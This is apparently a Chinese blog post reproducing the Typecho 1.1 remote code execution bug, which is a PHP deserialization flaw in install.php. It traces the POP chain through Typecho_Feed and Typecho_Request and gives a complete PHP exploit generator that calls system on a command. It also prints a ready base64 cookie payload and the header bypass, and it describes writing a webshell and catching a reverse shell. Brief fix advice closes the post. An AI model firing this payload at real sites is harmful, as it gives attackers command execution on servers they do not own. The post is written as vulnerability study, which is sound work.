Typecho 1.1 RCE漏洞复现
  • 2020-07-01


前言

    之前学了一段时间的反序列化漏洞,一直没有来得及找个例子复现。这几天期末答辩结束了,正式开始放暑假,很兴奋,于是找了个typecho1.1的RCE漏洞来复现,正好是反序列化漏洞触发的。一方面打发一下空闲时间,挖了一天漏洞了真的不想挖了(挖的赏金累死累活没超过1k,很自闭),另一方面丰富一下博客吧,顺便让自己对反序列化的理解加深。

漏洞点

    漏洞利用的条件是install.php这个typecho的安装文件没有被删除,因为这里有唯一可用可控的反序列化点。所以先去看看他的写法。

5efcb87a8401a.png

这里通过类typecho_cookie中的get方法,进而base64解码后进行反序列化,我们跟进这个get方法。

5efcae55e9de2.png

分析:

$key变量的值是typecho数据表前缀+$key变量的值,而这个$key值是__typecho_config。第一个三目运算是给$value赋值,言简意赅的讲从cookie里取参数为"$key"的值,如果cookie里没有我就去post里找,找不到就是NULL。然后返回值$value是个数组,就为NULL,不是就为$value的值。

显然,这里的$value是可控的,利用方法就是,构造一个序列化的exp,然后进行base64编码,然后放入cookie中。当反序列化后,他能够通过一条pop链走向RCE或者是文件读取的操作就可以利用了。

所以只要构造一条POP链就行了。


构造POP链

利用点往下,new了一个db类的对象。首先得寻找一个无条件的魔法函数,但是全局搜索后代码里并没有可以利用的__destruct方法,也不存在wakeup方法。

5efcb02548155.png

db类中存在__construct方法,注意这里的:

5efcb06f004f8.png

这里进行了字符拼接操作,可以触发tostring方法,然后就是找tostring方法了,在feed.php可以发现

5efcb0caa54e0.png

然后发现

5efcb10015803.png

这里的$item['author']是一个对象,如果这个对象里面没有screenName这个属性,那么就可以触发get方法,继续全局搜索get方法。

5efcb16020cb5.png

这里调用了get函数,看一下代码呗

5efcb177630b1.png

最后还有个applyfilter方法,继续跟进

5efcb19f9eb0e.png

分析:

  • get方法里,判断是否存在_params[$key]  如果存在就复制 $value为 $this->_params[$key];

  • 然后判断$value的值是否是数组和长度是否大于0 ,如果不是数组并且大于0,返回值就是$value

  • _applyFilter()方法里,存在两个可以直接执行方法的函数,即使他是三目运算,并不影响他们都是可以执行命令的函数

  • 首先判断是否存在 $this->_filter,然后做foreach()循环,也就是说 $this->_filter要是一个数组,然后接着判断$value是否是数组,但是在前面的get方法里判断了 $value 不是数组,所以这里进入的是 call_user_func()

这个函数的用法就是   call_user_func('函数名','参数'),如果执行call_user_func('phpinfo','1')  就会执行phpinfo() ,因为phpinfo()是不用参数的,所以那个1不需要管,如果执行有参数的例如

call_user_func('assert','file_put_contents("test.txt","Hello World")')

这样就会执行文件的写入,也就是可以写入webshell。

找到一条可用的链子后,先理一下思路

  1. 首先让,install.php绕过各种限制

  2.  在db类进行拼接导致对象被当作字符串使用,执行对象的__toString方法

  3. 所利用__toString方法的类为 Typecho_Feed,继续要构造一个class为Typecho_Feed

  4. 调用了不存在的属性值,执行__get方法 ,__get()方法在对象 Typecho_Request 里继续构造一个 class Typecho_Request

exp:

<?php

class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct()
    {
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'content' => '1',
            'link' => '1',
            'date' => 1540996608,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'curl XXXX';
        $this->_filter[0] = 'system';
    }
}

$depy= array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($depy));

?>

为什么这么写呢?让我再细讲一遍流程,免得各位听不懂,小北弟弟就是这么贴心。

流程

构造完后会有一段base64代码,放在install.php绕过限制之后,首先会被解码反序列化

5efcbaff17454.png

 最终的$config会变成一个数组,其adapter会变成对象typecho_feed,prefix会变成typecho_,然后往下会新建对象db

5efcbdca67244.png

将两个数组值传入,此时的adapter已经是一个对象了,之后会触发db类中的construct方法

5efcb06f004f8.png

执行类feed的tostring,以此类推,tostring执行后,那里会去获取item[author]的screenname

5efcbe5a79a5d.png

但是这里已经把item[author]赋值为对象request了!但是他哪里来的screenname属性啊?

所以因此会触发__get方法,并且此时的$key为screenname,同时我们赋值了_param['screenname']为system

5efcbea7ca204.png

5efcb177630b1.png

到这里,因为$key=sreenname,往下走第一个判断,isset成立,所以$value=_param['screenname']=system,然后把system传入applyfilter方法中。

5efcb19f9eb0e.png

然后$value=system,filter=$_filter[]里按照数组顺序打印执行,我只设置了一个数组成员是curl XXXXX,所以$filter的值最终为curl XXXXX。然后两个进入call_user_function('system','curl XXXXX'),进而执行命令system("curl XXXXX"),造成RCE。

漏洞利用

生成payload:

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo2OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NzoiY29udGVudCI7czoxOiIxIjtzOjQ6ImxpbmsiO3M6MToiMSI7czo0OiJkYXRlIjtpOjE1NDA5OTY2MDg7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJwaHBpbmZvKCkiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX1zOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJwaHBpbmZvKCkiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

5f172a02d432f.png

按照上图发包 设置refer  finish 因为如下限制

5efcc47b74f5c.png

5efcc49e71bbb.png

上图测试的是phpinfo,当然了,也可以发包后反弹shell

5efcc3bb0743c.png

对照ip

5efcc3f6e54b2.png

成功让阿里云的靶机弹到了腾讯云的机子上(笑)

漏洞修复

  1. 删除install.php

  2. 官方删除了反序列化那边的db实例对象,并且在安装成功后加入了数据库的安装判断,就不能轻易通过finish参数绕过了